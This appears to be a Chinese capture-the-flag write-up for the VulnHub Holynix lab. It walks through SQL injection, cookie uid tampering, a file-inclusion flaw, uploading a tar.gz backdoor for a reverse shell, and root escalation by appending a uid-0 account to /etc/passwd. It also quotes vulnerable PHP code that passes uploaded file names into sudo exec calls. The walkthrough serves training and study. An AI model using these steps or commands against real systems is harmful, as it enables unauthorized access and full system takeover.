vulnhub靶机holynix

主机探测

 很意外只开放了一个端口

nmap简单的漏洞扫描得到了几个路径信息,并且提示可能存在sql注入。

但这里提示是文件包含失败。

尝试读/etc/passwd

还是失败,可能做了目录限制。

web

这里初始界面功能点很少,只有登录

这个登录界面我第一眼看过去感觉像sqllibs里的登陆,于是试一下sql注入。

 这里功能点一个一个看过去,注意到有上传点

 提示当前用户不能上传

这里我想到了越权,于是查看数据包

这里可以看到有uid=1这个参数,试试改一下

 可以看到这里用户已经切换了。后续可以放到bp里爆破一下,一共有11个用户。

改cookie上传文件

 

 上传成功后我们尝试去读取文件。

这里我的思路是,之前前台有文件包含漏洞,那么尝试去读我上传的这个文件,但是一直没有利用成功。我的思路到这里就断了。

后来看wp原来是另一个地方存在文件包含漏洞。

security模块下的post参数存在文件包含漏洞

 尝试去读我们的上传文件。

前面提示我们上传的文件在home下,那么可能是/home/user或是~user

 这里是~user,文件直接上传到用户的家目录了。

不过这里直接连接shell有些许的问题(我这里是反弹shell)

回想之前的上传点好像说要做gzip格式,不妨我们看看它上传的格式是怎么样的

用之前的文件包含漏洞看一下upload这个php文件,注意这里需要用伪协议转一下base64

<?php
if ( $auth == 0 ) {
        echo "<center><h2>Content Restricted</h2></center>";
} else {
	echo "<h3>Home Directory Uploader</h3>";
	echo "<form enctype='multipart/form-data' action='index.php?page=transfer.php' method='POST'>";
	echo "Please choose a file: <input name='uploaded' type='file' /><br />";
	echo "<input type='checkbox' name='autoextract' value='true' /> Enable the automatic extraction of gzip archives.<br>";
	echo "<input type='submit' value='Upload' /></form>";
}
?>

这里只是输出功能,貌似没有上传功能的详细介绍。

 注意到我们上传以后文件变化为transfer.php,那么去看一下这个文件

";
} else {
	if ( $upload == 1 )
	{
		$homedir = "/home/".$logged_in_user. "/";
		$uploaddir = "upload/";
		$target = $uploaddir . basename( $_FILES['uploaded']['name']) ;
		$uploaded_type = $_FILES['uploaded']['type'];
		$command=0;
		$ok=1;

		if ( $uploaded_type =="application/gzip" && $_POST['autoextract'] == 'true' ) {	$command = 1; }

		if ($ok==0)
		{
			echo "Sorry your file was not uploaded";
			echo "Back to upload page";
		} else {
        		if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
			{
				echo "
The file '" .$_FILES['uploaded']['name']. "' has been uploaded.

";
				echo "The ownership of the uploaded file(s) have been changed accordingly.";
				echo "
Back to upload page";
				if ( $command == 1 )
				{
					exec("sudo tar xzf " .$target. " -C " .$homedir);
					exec("rm " .$target);
				} else {
					exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);
				}
				exec("/var/apache2/htdocs/update_own");
        		} else {
				echo "Sorry, there was a problem uploading your file.
";
				echo "
Back to upload page";
			}
		}
	} else { echo "

Home directory uploading disabled for user " .$logged_in_user. "
"; }
}
?>

因为内嵌了一些前端的东西所以看起来比较奇怪。

这里跟着upload=1这个逻辑走下来,发现它是将上传的文件用tar指令打包到系统用户的家目录下,所以我们只需要用tar指令去打包一个文件上传即可

tar czf xxx.tar.gz  [backdoor]

为什么是这个形式呢,这里我的理解是,上传时提出了需要以gz形式上传,而最后打包处理时候用的是tar这个形式,这里对于压缩指令我学习的还不是很好,暂且这么理解。

改完以后上传,可以看到已经上传成功

 已经连回来了

提权

这里sudo -l可以看到存在几个nopasswd可以执行的命令

 到这提权思路就很清晰了,直接修改passwd文件为www-data用户的文件即可然后写入一个root用户

 写入一个超级用户

用perl生成密码

perl -le 'print crypt("password@123","addedsalt")'
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

生成一个test用户

然后切换即可提权成功

 总结

整体难度不算难,但是文件包含那里不容易发现利用点,此为对于linux的压缩指令还是不太清楚,后续需要继续学习

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值